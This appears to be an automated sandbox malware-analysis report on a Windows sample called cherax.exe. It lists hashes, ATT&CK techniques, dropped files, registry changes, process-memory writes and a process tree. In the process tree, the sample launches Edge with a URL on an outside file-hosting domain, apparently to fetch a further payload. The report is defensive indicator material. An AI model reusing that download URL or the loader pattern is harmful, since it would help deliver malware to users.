1536a031601814633d7b3ff9ec7fcc2be613d5de6380fc7cc3cfb5392f6d9ab4

Analysis

max time kernel
898s
max time network
739s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
22/07/2026, 13:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cherax/cherax.exe
Size 170KB
Sample260722-qzl85sfd39
SHA256 1536a031601814633d7b3ff9ec7fcc2be613d5de6380fc7cc3cfb5392f6d9ab4
MD5 b32e580185a128f9e8c65ce3e27a0692
SHA1 336a5c6cda64d882e980e18f5c48a3d2dfa4f8a4
SHA512 73ddb84c7d0f3496c775b432dfd24dff4b5ddf5730402067286e5d522a0f1a590eebad75d556c6435c3a26e2ad34212f6763decc423c027075e319556be1ea19
SSDEEP 3072:Q5vnr5Tbx829UOeKnn2LFzZBp13u36wKp4zULCQodn0b6ipfS0:QBKjK2LFzZNfIUL9k02yF
TLSH
T1DA04080662AB31A8D1B7B23889BF8512F7763C15473186DF13904A7B2FE66D0AE77311
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
32	1316	powershell.exe
67	1316	powershell.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\vendor.bundle.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_1330555462\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-mobile-hub\nl\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\wallet\wallet-eligibile-aad-users.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\Tokenized-Card\tokenized-card.bundle.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-mobile-hub\ja\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_1330555462\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_1330555462\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_1784181347\Part-IT	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\bnpl\bnpl.bundle.js.LICENSE.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-hub\cs\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-hub\ja\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-hub\pt-BR\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_1784181347\Part-ES	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_1784181347\Filtering Rules	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-ec\fr\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-mobile-hub\id\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-shared-components\de\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-notification\zh-Hant\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-notification-shared\ko\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-notification-shared\pt-PT\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_1912603675\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\edge_driver.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-notification-shared\en-GB\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-notification-shared\zh-Hant\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-tokenized-card\zh-Hans\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\Wallet-Checkout\app-setup.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_1912603675\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-hub\id\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-notification\el\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\Notification\notification_fast.bundle.js.LICENSE.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-ec\cs\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-hub\es\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-shared-components\da\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-tokenized-card\es\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\manifest.webapp.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_649903516\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\Notification\notification_fast.bundle.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\wallet-webui-925.baa79171a74ad52b0a67.chunk.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-notification-shared\es\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-shared-components\es\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\webui-setup.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-ec\en-GB\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-shared-components\pl\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-shared-components\ja\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_1314819207\edge_confirmation_page_validator.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\hub-signature.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-ec\el\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-notification\ja\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-ec\pt-BR\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-hub\zh-Hant\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-notification-shared\id\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\wallet-webui-992.268aa821c3090dce03cb.chunk.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_1784181347\Part-ZH	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-hub\en-GB\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-shared-components\fi\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-tokenized-card\ar\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-tokenized-card\pt-PT\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\buynow_driver.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-ec\sv\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-notification-shared\el\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-notification-shared\sv\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\json\i18n-shared-components\pt-PT\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4900_548692889\Wallet-Checkout\wallet-drawer.bundle.js.LICENSE.txt	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1316	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1512	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5864	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134292014981565192"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1768642833-2142038154-4041560723-1000\{ACE6B2B7-1AA3-475E-A7E2-5697E9C85665}	msedge.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1316	powershell.exe
1316	powershell.exe
128	msedge.exe
128	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4936	cherax.exe
Token: SeDebugPrivilege	1316	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4900	msedge.exe

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 4936 wrote to memory of 4900	4936	cherax.exe	81
PID 4900 wrote to memory of 3748	4900	msedge.exe	82
PID 4900 wrote to memory of 5864	4900	msedge.exe	84
PID 4900 wrote to memory of 444	4900	msedge.exe	85
PID 4900 wrote to memory of 444	4900	msedge.exe	85
PID 4900 wrote to memory of 444	4900	msedge.exe	85
PID 4900 wrote to memory of 4116	4900	msedge.exe	86
PID 4900 wrote to memory of 4116	4900	msedge.exe	86
PID 4900 wrote to memory of 1692	4900	msedge.exe	89
PID 4900 wrote to memory of 5380	4900	msedge.exe	88
PID 4900 wrote to memory of 5380	4900	msedge.exe	88
PID 4900 wrote to memory of 5380	4900	msedge.exe	88
PID 4900 wrote to memory of 1692	4900	msedge.exe	89
PID 4900 wrote to memory of 1692	4900	msedge.exe	89
PID 1512 wrote to memory of 1316	1512	cmd.exe	92
PID 4900 wrote to memory of 5072	4900	msedge.exe	93
PID 4900 wrote to memory of 4124	4900	msedge.exe	94
PID 4900 wrote to memory of 5072	4900	msedge.exe	93
PID 4900 wrote to memory of 4124	4900	msedge.exe	94
PID 4900 wrote to memory of 5672	4900	msedge.exe	95
PID 5672 wrote to memory of 5452	5672	msedge.exe	96
PID 4900 wrote to memory of 1696	4900	msedge.exe	98
PID 4900 wrote to memory of 3756	4900	msedge.exe	101
PID 4900 wrote to memory of 2528	4900	msedge.exe	102
PID 4900 wrote to memory of 736	4900	msedge.exe	103
PID 4900 wrote to memory of 4880	4900	msedge.exe	104
PID 4900 wrote to memory of 4880	4900	msedge.exe	104
PID 4900 wrote to memory of 5980	4900	msedge.exe	107
PID 4900 wrote to memory of 5980	4900	msedge.exe	107
PID 4900 wrote to memory of 2952	4900	msedge.exe	108
PID 4900 wrote to memory of 2952	4900	msedge.exe	108
PID 4900 wrote to memory of 5228	4900	msedge.exe	109
PID 4900 wrote to memory of 5228	4900	msedge.exe	109
PID 4900 wrote to memory of 128	4900	msedge.exe	110
PID 4900 wrote to memory of 1952	4900	msedge.exe	111
PID 4900 wrote to memory of 1952	4900	msedge.exe	111
PID 4900 wrote to memory of 5360	4900	msedge.exe	112
PID 4900 wrote to memory of 5360	4900	msedge.exe	112
PID 4900 wrote to memory of 4512	4900	msedge.exe	113
PID 4900 wrote to memory of 4512	4900	msedge.exe	113
PID 4900 wrote to memory of 2032	4900	msedge.exe	114
PID 4900 wrote to memory of 2032	4900	msedge.exe	114
PID 4900 wrote to memory of 960	4900	msedge.exe	115
PID 4900 wrote to memory of 960	4900	msedge.exe	115
PID 4900 wrote to memory of 6016	4900	msedge.exe	116
PID 4900 wrote to memory of 6016	4900	msedge.exe	116
PID 4900 wrote to memory of 1164	4900	msedge.exe	117
PID 4900 wrote to memory of 1164	4900	msedge.exe	117
PID 4900 wrote to memory of 2768	4900	msedge.exe	118
PID 4900 wrote to memory of 2768	4900	msedge.exe	118

C:\Users\Admin\AppData\Local\Temp\cherax\cherax.exe
"C:\Users\Admin\AppData\Local\Temp\cherax\cherax.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4936
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://igk.filexspace.com/getfile/PCJCJCB?title=DependencyCore
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x304,0x7fff6d62c188,0x7fff6d62c194,0x7fff6d62c1a0
    3⤵
    PID:3748
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1776,i,18033713047088629483,8694944682299838105,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=2308 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5864
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1568,i,7693055211989537872,8725715137471069808,262144 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=2272 /prefetch:2
    3⤵
    PID:444
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2384,i,9263281792997840988,13032162228350887815,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=2496 /prefetch:13
    3⤵
    PID:4116
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3428,i,6910450598750955260,11699105422572814928,2097152 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:1
    3⤵
    PID:5380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3432,i,4700557349089305267,4237215106638878173,2097152 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=3500 /prefetch:1
    3⤵
    PID:1692
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4980,i,11090400527124563429,11470296390305201985,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=5044 /prefetch:14
    3⤵
    PID:5072
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4984,i,8453246005205924997,4705140576349674735,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=5020 /prefetch:14
    3⤵
    PID:4124
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5860,i,6585921174810350470,13405419610901159464,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=5868 /prefetch:14
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5672
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
      cookie_exporter.exe --cookie-json=1104
      4⤵
      PID:5452
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5948,i,7052380029334398500,4406657138953216785,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:14
    3⤵
    PID:5512
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5948,i,7052380029334398500,4406657138953216785,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:14
    3⤵
    PID:1696
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5968,i,13155581165115803465,8957096976023085203,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=6016 /prefetch:14
    3⤵
    PID:3756
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6004,i,18335454803527070353,2671199390883665186,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=6312 /prefetch:14
    3⤵
    PID:2528
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6020,i,17559012006897516982,9629850325488577599,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=6340 /prefetch:14
    3⤵
    PID:736
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5068,i,10103297272665327351,1966703980448380536,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=5036 /prefetch:14
    3⤵
    PID:4880
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5812,i,7130943426562798891,2553745495445949318,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=6628 /prefetch:14
    3⤵
    PID:5980
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=876,i,3941524680293002054,3338999172736816551,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=6632 /prefetch:14
    3⤵
    PID:2952
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6528,i,2393943593826251312,10947313938111721482,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=5060 /prefetch:14
    3⤵
    PID:5228
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5896,i,10932897652917148985,7281957446557856492,262144 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=5816 /prefetch:10
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:128
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5340,i,15626670189503512629,17749701624019956112,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=5344 /prefetch:14
    3⤵
    PID:1952
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5760,i,11964477535515469741,16814493661932463780,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=5336 /prefetch:14
    3⤵
    PID:5360
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4828,i,11174758195954331360,12527623917916202543,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=2128 /prefetch:14
    3⤵
    PID:4512
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6760,i,6780236993117655065,2927418258718189458,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=6764 /prefetch:14
    3⤵
    PID:2032
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4968,i,7642720952268769401,9083578527397649821,524288 --field-trial-handle=2280,i,4332424782111641150,18096547863827396856,262144 --variations-seed-version --mojo-platform-channel-handle=6248 /prefetch:14
